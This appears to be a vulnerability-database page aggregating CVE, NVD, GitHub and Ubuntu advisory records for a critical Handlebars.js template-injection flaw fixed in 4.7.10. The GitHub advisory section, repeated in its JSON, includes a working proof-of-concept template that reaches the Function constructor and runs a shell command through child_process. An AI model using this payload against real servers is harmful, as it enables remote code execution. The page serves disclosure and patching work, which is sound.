Vulnerability-Lookup

CVE-2026-106445 (GCVE-0-2026-106445)

Vulnerability from cvelistv5 – Published: 2026-10-06 19:39 – Updated: 2026-10-09 01:43

Title

Handlebars: JavaScript Injection via Own Property Check Bypass

Summary

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 01:42 UTC

CWE

CWE-184 - Incomplete List of Disallowed Inputs
CWE-1289 - Improper Validation of Unsafe Equivalence in Input

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_CONFIRM
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
handlebars-lang	handlebars.js	Affected: >= 4.0.0, < 4.7.10

Show details on NVD website

JSON

To clipboard

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EUVD-2026-383962

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-06 20:15

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-06T20:15:54.447455+00:00",
  "id": "EUVD-2026-383962"
}

FKIE_CVE-2026-106445

Vulnerability from fkie_nvd - Published: 2026-10-06 20:17 - Updated: 2026-10-09 02:16

Severity

9.2 (Critical) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa
	security-advisories@github.com	https://github.com/handlebars-lang/handlebars.js/pull/2185
	security-advisories@github.com	https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
	security-advisories@github.com	https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "vendor": "handlebars-lang",
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    }
  ],
  "id": "CVE-2026-106445",
  "lastModified": "2026-10-09T02:16:59.703",
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          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-106445",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-09T01:42:53.531967Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-06T20:17:26.293",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        },
        {
          "lang": "en",
          "value": "CWE-1289"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-P8WG-VRV2-V86F

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52

Summary

Handlebars: JavaScript Injection via Own Property Check Bypass

Details

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).

const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1289",
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:26Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nHandlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`lookupProperty` trusts own properties:\n\n```js\nif (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n  return result;\n}\n```\n\nNormally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects:\n\n```js\nFunction.prototype.constructor === Function;\nString.prototype.constructor === String;\nObject.prototype.constructor === Object;\n```\n\nAs a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list.\n\n## Proof of Concept\n\nAn attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:\n\n1. Access a function\u0027s prototype: {{lookup myFunction \"proto\"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).\n2. Access constructor via own property bypass: {{lookup (lookup myFunction \"\\_\\_proto__\") \"constructor\"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.\n3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars\u0027 template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// constructor deny list bypass via hasOwnProperty check in lookupProperty\nconst template = Handlebars.compile(\n    // construct code array from template string literal\n    \u0027{{#with a}}\u0027 +\n      \u0027{{lookup \"\" (push \"return process.mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027id\\\u0027).toString()\")}}\u0027 +\n      \u0027{{lookup \"\" (pop)}}\u0027 +\n      \u0027{{lookup \"\" (shift)}}\u0027 +\n    \u0027{{/with}}\u0027 +\n\n    // access Function via own property bypass on Function.prototype.constructor\n    \u0027{{lookup \"\" (@root.a.push (lookup (lookup fn \"__proto__\") \"constructor\"))}}\u0027 +\n\n    // #each sets depth0=Function without calling it, apply avoids hash body\n    \u0027{{#each @root}}{{#if @index}}{{else}}\u0027 +\n      \u0027{{#with (this.apply null @root.a)}}{{this}}{{/with}}\u0027 +\n    \u0027{{/if}}{{/each}}\u0027\n);\n\nconst result = template(\n    { fn: function(){}, a: [0] },\n    { allowProtoMethodsByDefault: true }\n);\n\nconsole.log(result.trim());\n\n// output: uid=1000(node) gid=1000(node) groups=1000(node)\n```\n\n## Workarounds\n\nDo not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data.",
  "id": "GHSA-p8wg-vrv2-v86f",
  "modified": "2026-10-08T17:52:27Z",
  "published": "2026-10-08T17:52:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Handlebars: JavaScript Injection via Own Property Check Bypass"
}

UBUNTU-CVE-2026-106445 (CVE-2026-106445)

Vulnerability from osv_ubuntu – Published: 2026-10-07 00:00 – Updated: 2026-10-07 00:00 – Source website

Details

(Handlebars provides the power necessary to let users build semantic te ...)

Severity

9.2 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-106445	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-106445	REPORT
	https://github.com/handlebars-lang/handlebars.js/…	REPORT
	https://github.com/handlebars-lang/handlebars.js/…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "handlebars",
            "binary_version": "3:4.0.10-5"
          },
          {
            "binary_name": "libjs-handlebars",
            "binary_version": "3:4.0.10-5"
          },
          {
            "binary_name": "libjs-handlebars.runtime",
            "binary_version": "3:4.0.10-5"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "node-handlebars",
        "purl": "pkg:deb/ubuntu/node-handlebars@3:4.0.10-5?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3:4.0.10-5"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "handlebars",
            "binary_version": "3:4.7.2-1"
          },
          {
            "binary_name": "libjs-handlebars",
            "binary_version": "3:4.7.2-1"
          },
          {
            "binary_name": "libjs-handlebars.runtime",
            "binary_version": "3:4.7.2-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "node-handlebars",
        "purl": "pkg:deb/ubuntu/node-handlebars@3:4.7.2-1?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3:4.1.0-1",
        "3:4.5.3-1",
        "3:4.7.2-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars.runtime",
            "binary_version": "3:4.7.7+~4.1.0-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "node-handlebars",
        "purl": "pkg:deb/ubuntu/node-handlebars@3:4.7.7+~4.1.0-1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3:4.7.6+~4.1.0-2",
        "3:4.7.7+~4.1.0-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars.runtime",
            "binary_version": "3:4.7.7+~4.1.0-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "node-handlebars",
        "purl": "pkg:deb/ubuntu/node-handlebars@3:4.7.7+~4.1.0-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3:4.7.7+~4.1.0-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars",
            "binary_version": "3:4.7.7+~4.1.0-1"
          },
          {
            "binary_name": "libjs-handlebars.runtime",
            "binary_version": "3:4.7.7+~4.1.0-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "node-handlebars",
        "purl": "pkg:deb/ubuntu/node-handlebars@3:4.7.7+~4.1.0-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3:4.7.7+~4.1.0-1"
      ]
    }
  ],
  "aliases": [],
  "details": "(Handlebars provides the power necessary to let users build semantic te ...)",
  "id": "UBUNTU-CVE-2026-106445",
  "modified": "2026-10-07T00:00:00Z",
  "published": "2026-10-07T00:00:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-106445"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106445"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-106445"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-106445 (GCVE-0-2026-106445)

EUVD-2026-383962

FKIE_CVE-2026-106445

GHSA-P8WG-VRV2-V86F

Summary

Description

Proof of Concept

Workarounds

UBUNTU-CVE-2026-106445 (CVE-2026-106445)

Tags

Sightings

Nomenclature

Related by attack behaviour